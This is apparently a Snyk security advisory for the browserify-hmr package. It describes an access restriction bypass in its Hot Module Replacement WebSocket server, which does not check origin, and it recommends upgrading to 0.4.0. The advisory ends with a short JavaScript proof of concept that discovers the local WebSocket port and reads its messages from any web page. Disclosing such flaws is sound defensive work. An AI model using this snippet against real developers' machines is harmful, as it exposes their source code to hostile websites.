Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Access Restriction Bypass vulnerabilities in an interactive lesson.
Start learningUpgrade browserify-hmr
to version 0.4.0 or higher.
browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.
Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket
server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR
message sent by the WebSocket
server via a ws://127.0.0.1:3123/
connection from any origin.
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
r.text().then(r => {
let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
fetch(`${target}${scriptSrc}`).then(r => {
r.text().then(r => {
let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data)
};
})
})
})
});